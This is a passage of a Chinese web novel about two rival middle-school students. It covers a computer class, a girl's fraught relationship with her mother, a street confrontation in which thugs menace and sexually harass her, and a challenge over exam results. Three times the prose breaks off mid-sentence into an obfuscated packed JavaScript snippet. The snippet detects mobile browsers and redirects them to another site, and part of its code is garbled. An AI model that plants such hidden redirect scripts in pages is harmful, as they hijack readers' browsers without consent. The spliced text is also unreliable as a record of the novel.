今天他得再找冯寂染开诚布公地谈一次,争取就此休战。 他确实是玩不起了,打算缴械投降。 白旗越招摇,他输得越安详。 冯寂染进入机房时,一眼望过去,每个人的电脑屏幕上都显示着不同界面,可谓是五花八门。 微机老师坐在教师机前,盯着门口,监督他们好好穿上鞋套再进机房。 见有人的口袋是鼓着的,他沉声提醒:“饮料零食不允许带进机房。” 冯寂染错愕地僵住,手停留在蓝色的一次性鞋套上方。 她没带零食,但是用水杯灌了一杯热水藏在校服下,贴着肚皮。 此刻她蹲下身,水杯不在手上,而是夹在腹部和大腿中间。 她做贼心虚,自然会想当然地以为微机老师是在跟自己说话,正欲开口,她身后的男生掏出口袋里的笔记本说:“老师,这是笔记本,不是违禁品,我可以进去吧?” 微机老师一挥手:“进去吧。” 冯寂染松了口气,穿好鞋套以后就把两只手揣进校服的衣兜里托住水杯,神情自若地蒙混过关。 机房里的学生机没有固定使用者的,只有在电脑里存了上节课没做完的作业才需要继续使用上节课用过的那台,开学以来的第一节微机课只用按照先来后到随意选座。 冯寂染来得晚,只有靠近老师的机位可选。 可即便是离老师近,也有人在上课前明目张胆地逛着本校论坛。 很有年代感的页面,每一个字都跟老人机上的默认字体神似。 冯寂染漫不经心得瞥了一眼,就见谭恒澈的大头照不偏不倚地立在屏幕中央。 刚剧烈运动过的少年大汗淋漓地逆光而行,细密的汗珠顺着下颚滴下,白皙修长却青筋毕露的手搭在额前,五指利落地插进浓眉的黑发间。 剑眉一如既往地拧着,锐利的眼眸生动传神,琥珀色的瞳孔反射出主席台的倒影。 乍一看满满都是潇洒的英气和不羁的野性,以及超出年龄范畴的荷尔蒙,似乎一眼就能让同龄少女情窦初开。 冯寂染抿了抿唇,在心里暗自评价。 还真是,辣眼睛…… 23. 秋思(五) 微机课的自由活动时间是在后半节课做课堂作业的时候。 刚开始上课,机房里的所有电脑都在老师的远程操控下整齐划一地变成了课程界面。 与此同时,机房里响起了异口同声的长吁短叹。 原本每个人叹息的声音非常微弱,但当不约而同地发出声响时,就变成了相当明显的一声:“唉——” 微机老师抬起眼皮淡淡地看了面前的学生们一眼,兀自讲起了今天的课程。 “请大家务必看清我的操作,我只演示一遍。当然,如果由于操作过程太复杂,大家记不清操作步骤,可以将教程翻到第16页,每一步都十分清楚的印在了教材上,大家配合着图片和文字自己再操作一遍即可。” 接下来的祈使句不再是要求了,而是命令。 “在我演示的过程中,不要交头接耳,不要走神,不要偷吃偷偷摸摸带进机房的零食。不听劝的我会把违反纪律的人交给你们班主任,按照校规处置。” 作为受了八年规训的初二生,服从性还是很强的,“班主任”和“校规”这样的字眼无异于杀招,一听到这两个词,前排的学生都齐刷刷低下了头,噤若寒蝉。 在几乎所有人都战战兢兢装蘑菇的时候,一只颀长的手“唰”地举起。 少年冷淡低沉的嗓音倏然响起。 “老师,我要举报。” 随着话音落下,平时跟他不对付的几个男生,心都提到了嗓子眼。 每个人都多少违反了一点纪律,谨防他是针对自己,神色不善地盯着他。 冯寂染则暗自腹诽。 还说她爱告状,像他这样明目张胆地实名举报就不算打小报告了是吗? 微机老师严肃地站起来:“这位同学,你要举报什么?” 在众人的瞩目下,谭恒澈慵懒地答:“我这个机位的桌下黏着一枚风干了的口香糖。” 几个提心吊胆的人纷纷松了口气。 其他人则就这件事议论开来。 “靠,谁这么没素质乱吐口香糖。” “黏在桌下的话,不是吐的,是用手贴的吧?” “我的天呐,好恶心啊。” “澈哥可真会选机位,一选就选到了这个位置,跟在路上踩到了狗屎似的。” “就是说,运气也太差了吧哈哈。” 微机老师拿了张纸巾走到他身边,伸手将黏得还不算太紧的口香糖从桌下抠起来,对火眼金睛的谭恒澈赞赏有加:“幸亏是及时发现了,不然时间久了就要用刀片刮了。晚点我会清查一下是谁做的,对违纪的同学进行处置。同时我也会上报学校,给你们班的量化考核加分。” 提到加考核分,全班人的眼睛都亮了。 集体荣誉感就是通过这种小事体现的。 这下谭恒澈瞬间成了全班的英雄。 有人欢欣鼓舞,也有人嗤之以鼻。 冯寂染沉默地看向谭恒澈所在的方向。 他的眼神这么好的吗? 那她之前为了报复他,在他的习题册最后一页空白页上画王八的事,他有发现吗? 这段插曲很快过去。 微机老师开始上课。 他粗犷低沉的嗓音讲起枯燥无味的操作步骤,跟念经一样,催得人昏昏欲睡。 赵伊婷打了个哈欠,眼泪都冒出来了。 当下恰好是家政阿姨准备开始做饭的时间,她让冯寂染帮忙参谋:“你家昨天是什么菜啊,说来给我参考一下,等会我登上企鹅号,报给我家阿姨,放学就能吃到了。” 不知道为什么,昨天中午,保姆分明做了四五道菜给她和谭恒澈吃,冯寂染只记得那道餐餐都有的松鼠鳜鱼。 于是她也只跟赵伊婷说了这一道菜。 赵伊婷的胃口和谭恒澈的不搭,撇了撇嘴说:“我最讨厌这道菜了。软软的鱼被做得硬硬的,还有我最讨厌西红柿。但是我只要去参加我爸妈他们的饭局,那些大人都会给我点这道菜,把我当小孩对待。” 你……难道不是小孩吗? 冯寂染没有当着赵伊婷的面说出来,但她的眼神里写着这句话。 赵伊婷心领神会,耸了耸肩:“小孩在他们大人眼里是弱者,可我要当强者,我不能接受他们把我看扁,那是对我的蔑视。” 冯寂染懂这种感觉。 从前乔明娥对她的照顾是无微不至的,对她的轻视也是无处不在的,经常把“你一个小孩能懂什么”挂在嘴边,根本就没有和她平等地交流过,没有一丝一毫的尊重,有的只是不加遮掩的控制欲。 乔明娥对待她时的态度永远是矛盾的。 一方面是出于身为母亲的本能,拼命保护着她,在潜意识里认为她很弱小,做什么都不行。 另一方面是将她视为深水火热中的救命稻草,盲目依靠着她,对她饱含期待,和全天下的父母一样望女成凤。 乔明娥对她的信任是时有时无的,时而坚定地相信她将来能成大器,时而又不相信她有成功必须的意志力,怀疑她的自律性。 乔明娥的忽冷忽热和极不稳定的情绪疯狂吸食着她的能量,以至于她总觉得自己是和一个精神病人呆在一起。 被质疑、被批评、被否认,一系列的驯化接踵而至。 她也想做一个好女儿。 可是她不知道在乔明娥心中,好女孩是怎样的标准。 不论她怎么做,乔明娥都是不满意的。 就在她刚才痛到要昏厥,想起乔明娥十月怀胎的心酸和分娩时的痛苦时,也是想过要好好孝顺乔明娥的。 但是她一想到要把自己的姿态低到尘埃里,去迎合乔明娥几乎病态的掌控欲,她就感到深深的恐惧。 就算乔明娥生了她,养育了她,她也不想把自己放在那么卑贱的地位,任由乔明娥对她进行精神的凌迟。 她还有那么多没见过的风景,还有那么多没接触过的事物。 班上的同学在聊的那些新奇的话题,她都是感兴趣的,只不过是翅膀没有硬到足以自由翱翔。 再等一等,再多给她一些时间,她是能够有足够的本事去领略的。 到时候反哺乔明娥也为时不晚。 她从没有想过抛下乔明娥不管,也没有嫌弃过她那伟大的母亲。 只是乔明娥那种身为深闺怨妇,不断抱怨却从不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978464|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改变现状挣脱束缚的状态太令人窒息了,会拽着她一起下沉,直到永远无法翻身。 她远没有到离经叛道的程度,大多时候都是循规蹈矩的。 但她不能失去自由。 赵伊婷没能向冯寂染征询到建议,便自己做了决定。 电脑里存着其他班的上一批同学做过的作业,想偷懒作弊很容易,只需要复制粘贴一下,把文件名改成自己的就可以了。 赵伊婷飞快操作了一通,成功移花接木,便登上社交号,和网友争论南北差异带来的文化壁垒了。 冯寂染则一丝不苟地按照微机老师教授的步骤做起了课堂作业。 初中的每一门学科教授的都是最基础的知识,简单粗浅,只要智力正常,认真去做,都能取得良好的成效。 冯寂染三下五除二完成了课堂作业,也和其他同学一样闲下来。 她打开搜索引擎,只是点击了一下搜索框,就看到了上节课坐在她这个机位上的同学留下的历史纪录。 明理中学后花园。 冯寂染从来没有进过校园论坛,只是走在校园里,听身边的同学提起过,加上今天来上微机课的时候潦草地扫了一眼别人在浏览的界面,加深了对校园论坛的印象。 在好奇心的驱使下,她选择了历史记录里的词条,按下了搜索键。 古早的界面弹出。 首页飘的帖子五花八门。 有两个比较醒目的热帖,一个是在谈论即将举行的秋季运动会,还有一个帖是在评选明理现任的校草。 被版主加精的基本都是考上理想学校的学长发布的学习干货贴和学校分享帖,夹杂着零星几个喜报。 其他的都是琐碎杂谈,有问食堂的哪个窗口的饭好吃的,有问具体的某个人是哪个班的,还有问个人物品丢了有没有人捡到的,回复者寥寥无几,冯寂染也同样没有兴趣。 她毫不犹豫地点进了那些看起来对她提分有用的帖子,结果发现内容十分笼统,对她个人而言起不到任何提高成绩的作用。 但每一个帖主都在标题或者首楼提到了攒人品。 真的会有玄学效果吗? 那等她有了战果,也来分享一下好了。 快下课的时候,她退出正在浏览的帖子,准备关掉论坛,起身时被凳腿绊了一跤,重心不稳,手一撑,误触了鼠标。 原本塞在校服里的水杯也因为被她遗忘滚落到了地上。 下课铃声恰好响起,她趁乱赶紧弯腰去捡。 起身时却发现,不知何时点开了校草评选的帖。 有女生从她身后经过,兴奋地拍了拍她的肩:“你也在看这个帖啊。你把票投给谁了?” 这个帖应该就是谭恒澈那张大头照所在的帖了。 “我……”冯寂染正要解释,忽然看到谭恒澈迎面朝她走来,显然是听到她们的对话了,还往她的电脑屏幕上看了一眼,与她四目相对。 不知道怎么回事,她的心里犯起慌来,也不管三七二十一,匆忙地关掉了网页,夺路而逃。 她根本就没参与投票,连帖子的内容都没仔细浏览过。 尽管猜去吧。 24. 秋思(六) 冯寂染没等赵伊婷,一路小跑回的教室,放下书和鞋套,她就可以离校了。 回想起谭恒澈刚刚死死盯着她的样子,投票的事不一定翻篇了。 她肚子还疼着,心烦意乱,根本不想跟谭恒澈解释她有没有投票,甚至不想和他说其他没营养的话。 可是她不像班上的其他人,出了校门就和谭恒澈没有交集了,她一放学就回到了谭恒澈的绝对统治区。 就因为她寄人篱下,学校里的这些琐碎杂事通通都能在差钱饭后成为消遣的话题。 就算她放学溜得再快,也是要在他家见面的。 总有种“躲得过初一躲不过十五”、“跑得了和尚跑不了庙”的既视感。 谭老爷子或许会为她做主,但也是在她受到谭恒澈欺负的情况下,而当他们之间正常交流时,她不在被保护的范畴内。 她只好无条件地和他捆绑在一起,抬头不见低头见。 如同被婚姻制度套牢的成年人。 她对乔明娥的不理解得到了解释,不能说完全体谅,但至少同病相怜,心有戚戚。 三十六计,走为上计,她决定先去学校周边逛一圈再回去。 反正保姆会给她留饭,晚点用微波炉加热一下再吃也是一样的,这样就不用和谭恒澈在餐桌上碰面了。 冯寂染火急火燎地出了校门,没忘记自己的校牌还押在校工那里,一出校门她就寻找着校工的身影。 她眼神好,一眼就瞥见校工佝偻着腰,在帮某一个学生掉链子的自行车上链条。 “叔叔。”冯寂染礼貌地叫人。 可校工在和那个自行车链条掉了的男生说话,正语重心长地叮嘱着:“你这个车骑回去以后最好给这里上点机油,不然说不定过阵子还会掉。你这个车胎好像也有点漏气。” 冯寂染见状只能等待,心浮气躁地回头看向校门口。 暂时没看到谭恒澈的人影。 校工伸手捏捏车胎,车胎凹陷得明显,随后他又拧了拧气门芯,对那个男生说:“气门芯还在,也没松,那就是胎破了,得去补下胎。” 身前的男生讷讷道谢,长腿一抬就跨上了车。 冯寂染又叫了校工一声。 奈何校工的注意力还是停留在那个男生身上,话依旧是对着那个男生说的:“安全起见,能蹬得动也不要骑了,推着走吧。” 男生大大咧咧地说“没事”。 校工死活拦着他不让他骑。 两个人你来我往陷入争执。 冯寂染再一回头,已经能远远看见谭恒澈朝车棚走来了。 她顿时焦急地冲着校工大声喊:“叔叔,我的校牌呢?!” 她是泪失禁的体质,在刚到苏州时就被刺激得痛哭过一回,眼下虽然没受大委屈,一直被人忽视也着实不是滋味,当即泪眼盈盈。 校工被她失态的样子吓了一跳,茫然怔忡了两秒,才回过神来掏出替她保管的校牌和金属质地的车牌,说话都磕巴了。 “在这里……给你……登记好了。” 冯寂染达到了目的,也不管自己失态的模样有多骇人,镇定自若地把校牌和车牌揣进兜里,礼貌得好像刚才破防的不是她一样,细声细气地说了声“谢谢”,赶紧回到自己的车边,开了锁就跑。 从校门口的车棚到宽阔的主路要经过几条四通八达的巷道,每条巷道都会分散一批前往不同方向的人流和车流。 这样一来,即便是在放学的高峰期也不是每条巷道都会一直有人经过。 明理中学的校风还是不错的,学校的规章制度十分健全,学生们都很安分守己。 可校外未必安全。 非富即贵不代表身心健康,学校里的生源百分之八十都来自于离异家庭。豪门夫妻没有将就可言,一言不合就离婚抛弃孩子,导致城市留守儿童和问题少年在以相当恐怖的态势增长,和校外社会青年厮混在一起的不在少数。 冯寂染初来乍到不知道情况,只顾着躲避谭恒澈,将脚下的踏板蹬得都快摩擦出火花,还时不时回头看一眼谭恒澈追上来没有。 今天是她第一次骑车上路,车技生疏,一不留神就撞到了在巷道里群聚的一伙男生之一。 她倒是没有直接撞到人,而是怼上了停在路边的摩头车尾,撞击上的瞬间惊扰到了坐在摩托车上的人。 对方一个激灵从车上弹跳下来,摩托车应声倒地。 “艹,你他妈没长眼睛。” 男生胳膊上纹的大花臂冯寂染早就看到了,回过头对她破口大骂时,她又看到了对方的断眉和截断处的刀疤。 不只是凶神恶煞,是真的打架打到过见血的。 冯寂染目测对方高出她一个半头的高度。 庞然大物笼罩在她身前,凝视着她又问了一遍:“老子问你呢,长眼睛没?” 旁观的其他人似看好戏般戏谑地笑着,幸灾乐祸地围观着接下来的发展。 人是真的多。 不论是在力量上还是在人数上都占着不可逆转的优势。 冯寂染从来没有遇到过这种情况,一下就慌了,根本不敢回答对方的问题。 她眼底的惊慌失措落在这群混混眼里就是待宰的羔羊临死前的哀求,更能激发人性中的恶。 有个黄毛在旁边调戏她:“妹妹,你把身上的衣服脱了给我们看一眼,这事我们就不计较了。” 纹花臂的当事人没有异议,连头都没回,直勾勾地用阴森的眼神盯着她,难掩对她的觊觎。 冯寂染被他盯得不舒服极了,听到对方强人所难的无理要求更是觉得荒唐又屈辱,想逃却被他们堵得无路可退,只求赶紧有人经过,帮她摆脱这些人的压迫。 半分钟后确实有个戴眼镜的男生经过了。 他在这些人的注视下,颤抖着推了推架在鼻梁上的眼睛,战战兢兢地贴墙溜走了。 冯寂染不能责怪对方的熟视无睹。 因为这些人太吓人了,说不定既有超高的武力值又有雄厚的家世背景,一般人惹不起。 镇上的那些混混堵人是为了收“保护费”,而这些人看起来不图钱,就是因为她的无心之失在刻意刁难她,逼着她自行摧毁心理防线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008418|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯寂染十分清楚他们和张耀毅这个有色心没色胆的混球不一样,是真的敢把她扒光了凌虐的。 她不得不承认,她害怕了。 气氛凝滞。 就在他们的对峙陷入僵持时,冯寂染听到身后传来了谭恒澈的声音。 “我准你跑了吗?” 他把自己的车扔到一边,径直朝她走来,一把将她拽到自己身边,指着她身旁的这群混混说:“骗了我八千都花哪去了?找他们销赃是不是?还是说这是你的同伙?你跟他们什么关系?” 冯寂染惊愕地睁大眼睛。 从他开口的第一句话就知道他在逢场作戏了,配合的没有戳穿他。 就这三言两语透露出的信息量,已经足以让人脑补出她骗了他八千块钱被追债追得落荒而逃的情境。 她为什么会撞到人,原因也得到了合理的解释。 一个骗人钱财的女骗子要比单纯无害的小白花处理起来麻烦,执意掺和进别人的争端还容易担上被讹的风险,多一事不如少一事,任谁都能想明白这一道理。 为难冯寂染的这方果然中计,义愤填膺地为自己辩白:“喂,你污蔑谁呢!是她自己不长眼撞上我们的,我们只是好端端在这里说话,平白无故遭了无妄之灾。你跟她扯不清,你们自己上一边掰扯去,别牵连我们这些无辜的人。” 谭恒澈声色俱厉地问冯寂染:“跟他们真没关系?” 冯寂染看了他们一眼。 他们却如临大敌,生怕她栽赃陷害,上演一出碰瓷大戏给他们找事,忙不迭说:“她的一面之词能信吗?我们这么多人都在这里亲眼看着她撞上来的,车也明明白白倒地上的,还能骗你不成?” 就是现在。 冯寂染找准时机,敏捷地重新骑上车冲破了他们松散的阵型,逃之夭夭。 谭恒澈默契地骑车狂追。 “把钱还我!有本事别跑!” 冯寂染一刻也不敢松懈,直到跑到十字路口的红绿灯,看到执勤的交警才停下来。 谭恒澈把车刹在了她旁边。 斑马线的红灯一分一秒地过去。 谭恒澈始终没有吭声。 冯寂染终究是心虚,满脸写着“已老实”,弱声开口问道:“你怎么不说话?” 谭恒澈板着脸阴阳怪气:“怎么?我还得夸你机灵?” 冯寂染听出他话里有话,不卑不亢地说:“自然比不上你遇事不慌,足智多谋。” 她说的是真心话。 刚才敌众我寡,就算谭恒澈能打,打过那么多人估计也够呛,而且一定会受伤。 他们能全身而退全靠智取。 想到这里她不禁担忧:“就是不知道明天再遇见他们怎么办。” 谭恒澈沉吟片刻,挺身而出:“你别像今天这样单独行动就行,我会保护你的。” 冯寂染心尖一颤,情不自禁地喃喃:“你保护我?” 谭恒澈看向她,笃定地说:“对,我保护你。” 一阵秋风卷着打着旋的银杏叶落下,斑马线的绿灯亮了。 25. 秋思(七) 斑马线不远处,亮着鲜红数字的324号公交率先停在白色的违章线前,其他车道上的轿车也陆续刹车。 马路两边的行人有序地交汇,谭恒澈和冯寂染也慢悠悠地蹬着自行车过马路。 冯寂染的自行车是折叠款,低矮小巧,踩踏板的时候身姿板正,亭亭玉立,看起来很有淑女气质。 谭恒澈的自行车是山地自行车,赛车款,车身核心三角区的斜杠特别长,座垫离龙头的距离远,必须要略微俯身才能把控这辆车,撑在车头的双臂呈现出流畅的肌肉线条,挺括的脊背也被拉得坚实宽大,他骑车的动作分明十分慵懒,却仿佛带着驭风的野性。 他的身形和肌肉的力量感看起来的确是能保护她。 也不知道他的身高再长两年,会到达什么惊人的高度。 他那辆的车轮要比她的大两倍,蹬得却很慢,她轻松就能追上他,和他并驾齐驱。 冯寂染知道他是故意放慢速度迁就她的,之前心里的那点不开心的小疙瘩逐渐解开了。 她也不知道是自己容易为别人略微的示好动摇对他原有的印象,还是谭恒澈表现出的细节真的打动了她。 她沉默着,一路上都没跟他说话,谭恒澈也没有开口。 直到他们双双在院门口停下车,谭恒澈才甚是郑重地定下脚步,将手搭在车把上,目光正对着她身上的明理校服。 自从她的校裤染上血后,她就一直将校服外套系在腰间。 用力打了两道的结因为她骑自行车的动作全然松动。 在他毫不遮掩地凝视下,她不自觉地伸手将两只袖子扯紧了些许,谭恒澈却没有丝毫要将视线移开的样子。 冯寂染预感到他是要说什么,便不再管自己的仪容仪表,静静等待着他开口。 谭恒澈似乎是在斟酌措辞,酝酿了许久,确定了要表述的内容后,神态和眼神都变坚定了。 “校服裹住了阶级地位,可以说学生时代是人生中唯一一段可以和不同社会阶层的选手同台竞技的时光。不论资源再怎么倾斜,人的精力总是有限的。在这个阶段里不借机一较高下,反而把时间浪费在为自己的出身和家长里短纠结上,是对自己才能的辜负。是你教会我不能承让的,那么也请你展示一下你全部的实力吧。心无旁骛的拼搏,全力以赴的对决,才有值得尊重的价值。较量的意义,不就是让对方心服口服吗?上一次,我输的并不甘心。有本事,就让我再输一次。” 他的声线带着变声期刚过的生涩低沉,像是粗粝的沙砾灌进了他的喉咙里,脖颈间圆润的喉结凸起,竟然有了男性性/征特有的荷尔蒙气息。 他的语速算不上快,甚至慢得让人怀疑他是在边说边思考,可他话音里的笃定,和宣战时的轻狂,都被染上了令人怦然心动的桀骜。 看见这样的他,冯寂染忽然间明白了人们口中的少年感是什么样的。 少年感就是看起来云淡风轻,却难掩锋芒和骨子里的傲气。 是不成熟,不稳重,斗志昂扬,血气方刚。 只要有那么一点一决胜负的勇气,就能以一当十,大杀四方。 冯寂染一直觉得谭恒澈挺佛系的。 他近乎摆烂的态度一度让她误以为他没有一点青春朝气,只有死气沉沉、老气横秋的颓靡之气。 今天他让她看到了他不一样的一面,是这么的敢打敢拼,和他在篮球场上争当霸主时显露出的英雄气概如出一辙。 他这番话说得看似无厘头,但冯寂染能回忆起完整的片段。 时间跨度跨得着实是有点大。 前半段是回应那天她毫不避讳地跟他说起自己家庭情况时,言语间透露出的那种对身世差别的愤慨,以及对自己父母无能表现的抵触。 当时她说她的成长环境和他的截然不同,因此分外珍惜和强者角逐的机会,也绝不要成为她父母那样懦弱得无法自私的大人。 加之他那天可能听到了她和乔明娥之间的对话,察觉到了她夹在亲情与自己的情绪之间的苦恼,所以今天才会专门拎出来说。 后半段是针对那天她在餐桌上和他共进午餐时对他表现出的轻蔑,还有之后在学校里无数次不可一世地忽视。 最重要的是她耍小聪明扳赢他手腕的那局比拼。 他当时不在意,现在貌似要挽回尊严了。 这些问题他先前其实都没有好好跟她沟通过,她不主动提起,他也就消极对待了。 今天不知道抽的什么风,竟然全一股脑说出来了。 可能是刚才经过了“生死关头”,配合默契地渡过了一次危机,给了他一种他们无比合拍的感觉。 也可能是因为他一言九鼎的承诺。 男人对于自己想要保护的对象总是要特殊一些。 她还以为特殊会表现在跟对别人不同的关照上,没想到等来的是一场堂堂正正的博弈。 这哥们儿脑回路够清奇的。 不过也在情理之中。 她喜欢这种被人正视,当作对手,诚心诚意地把战帖发到她手里的感觉。 远比她以女生的身份享受廉价的特权,身心舒畅得多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057905|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 冯寂染当即昂首应战:“你的意思是指在学习成绩上,是骡子是马拉出来遛遛对吧?” 距离秋季运动会还有一个多月,想在竞技场上开局比赛时间线拉得太远,最近的比试机会就是月考了,只差三周。 二十一天可以养成一个好习惯,也足以让她追赶省市不同带来的进度差异。 她想谭恒澈连学校布置的作业都不自己做,还要学那么多课外知识,能考出高分不是天才就是奇迹。 可多年的考场经验还是告诉她千万不能轻敌,重要的是自己这边万无一失。 她目前还没法保持自己这边不出差池。 她思绪飘飞时,谭恒澈淡淡“嗯”了一声。 “那就这个月的月考见真章吧。”冯寂染在自己的擅长的领域没在怕的,欣然放话,“我不管你有没有说着一点没学在暗地里下苦功,我都会全力以赴。你也不要藏着掖着,我不需要你让着我,也不要以此为借口不认账,毕竟是你提出来要比赛的。” “这是自然。”谭恒澈掀起唇角,似是听到了什么好笑的笑话。 谭恒澈在琴房只是甩给她秘籍,让她通过自己的钻研矫正腔调怪异的口音,除此之外没有对她进行任何额外的指导,笔试和口试形式不同,侧重点自然不同,算不上他向她输出应试技能,也就不存在她取长补短,占他便宜。 他们的较量依然是各凭本事,没有说他教了她就略亏一筹一说。 既然他都这么说了,冯寂染也就放心了。 不管他今天提不提出和她比试,她都会被现实裹挟着走这一步棋。 自从那次课堂上英语老师点她朗读课文她献了丑,英语老师再点人朗读课文时都会顾及到她的面子,不让她再在全班同学面前“丢人现眼”,以至于尽管她的口语水平有了显著提升,也没有办法打一场漂亮的翻身仗。 她太需要这场考试来给她正名,所以谭恒澈提出来要和她较量,她也不过是顺水推舟。 只不过她没有想到谭恒澈身上的锐气是这么逼人,她不该以为他是不学无术的学渣的。 她忽然意识到一个严重的问题。 她都没有看到过谭恒澈做过的作业,是怎么会下意识认定他学习成绩不好的? 有没有一种可能,他其实是个极具天赋的学霸,不费吹灰之力就能学会别人勤学苦练才能掌握的知识技能,不动手写是因为他看一眼就能得出答案,不想在无聊的事上浪费时间呢? 那他就太自傲,也太可怕了。 她不得不严阵以待。 26. 秋思(八) 知己知彼,方能百战百胜。 为了探听虚实,冯寂染不耻下问,下午一到学校就问坐在她旁边用语文课本挡着热血漫画书看得津津有味的张耀毅:“谭恒澈的学习成绩好吗?” 赵伊婷每次都是踩点上学,迟到就从后门偷偷溜进门,冯寂染进教室时她的座位上的空的,就只能退而求其次,问这个色迷迷、贱兮兮的家伙。 论素质,张耀毅身上几乎没有。 但要问他这些八卦消息,包灵通的。 张耀毅跟谭恒澈有宿怨,而且是积怨已久,对他的名字超敏感,闻言当即眯起眼:“你问这个干嘛?” 他灼热的目光里有探询他们之间关系的含义。 其实他早就问过她和谭恒澈是什么关系了。 她说关系不好,接着就把和他的关系也闹僵了。 他现在已经不靠这个来甄别是敌是友了,这么问纯属是为了满足是人都会有的好奇心。 “没什么,就想知道,为什么那么多人都叫他澈哥。” 她第一次听人叫他“澈哥”是开学第一天,刚从轿车上下来时,听和他认识的熟人这么叫的。 “哥”在他们镇上,都是对不务正业的那些混混的称呼,港片里的古惑仔也是这么叫道上的大哥的,于是她就先入为主地认为谭恒澈在班上的威望是靠拳头夺得的。 她挑战他的权威下意识采用的也是武力的方式。 可现在看来,似乎好像不是这样。 她轻描淡写地问出来,佯装心不在焉,一副只是随口一问、也不是特别想知道的模样,反倒激起了张耀毅的表达欲。 他如同打开了话匣子般叽里呱啦地吐露信息,言无不尽。 “你问好不好,当然是好了。班上的第二名能不好吗?不过他从初一起就是第二名,发挥得超稳定。别人超不过他,他也超不过我们班的第一。” 说着,他话音一顿,放平了手里的两本书。 漫画书的书皮硬,装帧紧,有聚合力,他一松手,书页就自动合上了。 外面用来打掩护的语文课本从书皮到书页的纸质都很柔软,仍旧保持着翻开的状态。 冯寂染看清了书封上的书名《钢之炼金术士》,“钢”字是醒目的橙色。 书名下面的人物是平涂的画风,五官都是扭曲的,实在是不够精致。 她有在听张耀毅说话,只不过听的多少有点漫不经心。 从张耀毅刚才说的话里,她已经掌握了想要知道的信息——谭恒澈是班上的第二名。 估计张耀毅接下来的话都是他自认为重要却没营养的吐槽了,她也就没了兴趣。 然而出乎意料的是,张耀毅提供的情报还有其他价值,让她了解了班上前几名的排名是波动的。 “顺便一提,他这个第二是万年老二,第一名的宝座却没有人能稳坐哦。上学期期末的第一名是曾瑞祺,我们班的补课大户,一到假期就拼命补习,据说是把高中的内容都学完了,但他学了高阶知识以后做题特别喜欢省略步骤,老是爱丢步骤分,数学老师都不知道说了他多少回了,他就是不改,人超傲气。” “还有谁吗?”冯寂染忍不住问。 她听完以后眼睛都亮了。 太兴奋了。 这种群雄逐鹿的场面,她长这么大还一次都没见过呢。 在她们那种小地方称王称霸真的很没意思,像极了过年在鱼塘里炸鱼。人一旦强到一定程度,被强迫着欺负弱者是会感到下头的。 而现在的她就好像是长久以来被关在鸡棚里的独鹤,终于回到了鹤群的栖息地,不必再在闭目塞闻的方寸之地对牛弹琴,可以和同类交流讨论、切磋竞技,引起共鸣。 这才是她进城以后真正想要达成的心愿啊,眼见着马上就能实现了。 赢过和谭恒澈的约战,才不是她的最终目的。 正如他中午说的那番话,她要在人生中相对公正平等的阶段,和一群来自不同阶层的人厮杀,凭实力为自己争夺更多的资源。 这些资源也许只能将她托举到有限的高度,没有办法让她在往后余生高枕无忧,但只要能扶摇直上、平步青云,哪怕只有一刻能触及到云端也足够了。 张耀毅见她想听了,便收住话音,伸手拎起了桌面上的矿泉水瓶,慢悠悠地拧开瓶盖,喝了一口水,发出一声喟叹,又喝了第二口。 一看就是在故意卖关子。 其心可诛。 冯寂染有一瞬间很想把他手上的矿泉水瓶扬高一点,让水突然急灌到他的喉咙里,呛死他。 但是这么做是粗暴又愚蠢的,很容易真的造成人身伤害,把自己搭进去。 她不是赵伊婷那种耿直的暴力输出型选手,聪明才智才是她的武器。 在张耀毅姿态傲慢地等待着冯寂染央求时,她开口便是一记绝杀。 “你是第几名?” 她笑眯眯地看在他,目光仿佛在说:他们确实是没有办法在风云际会时独占鳌头,那么对名列前茅的高手指指点点的你,排在第几名呢? 张耀毅:“……” 伴随着上课铃响起,赵伊婷一个箭步冲到自己的座位上,恰好听到冯寂染的提问,热心解答,狠狠往张耀毅的心口补了一刀。 “他啊,一直在我们班的中游徘徊。上游不带他玩,下游也排外。说起来还是老师的小孩呢,真没出息。技不如人,爸妈再风光也没用哟。” 这下张耀毅气得两个鼻孔一块出气,险些没原地阵亡。 就在气氛剑拔弩张时,历史老师拿着课本走上讲台。 上了课再闹就不合适了。 “上课。” “起立!” “老师好——” 冯寂染没跟着喊“老师好”。 她在想:根据张耀毅提供的信息,她已经了解了班上的大致情况,再追问下去,也问不出所以然,倒不如直接去找班主任要一下班上的成绩单,白纸黑字,一目了然。 于是历史课一下她就去找了刘虹萍。 刘虹萍今天下午没课,在办公室里批改作业。 批改作业和批改试卷的不同,除了不用算分之外,还可以直接画叉,不用回执订正后的作业。 冯寂染走过去的时候,刘虹萍抬手连打了三个大叉,摇了摇头。 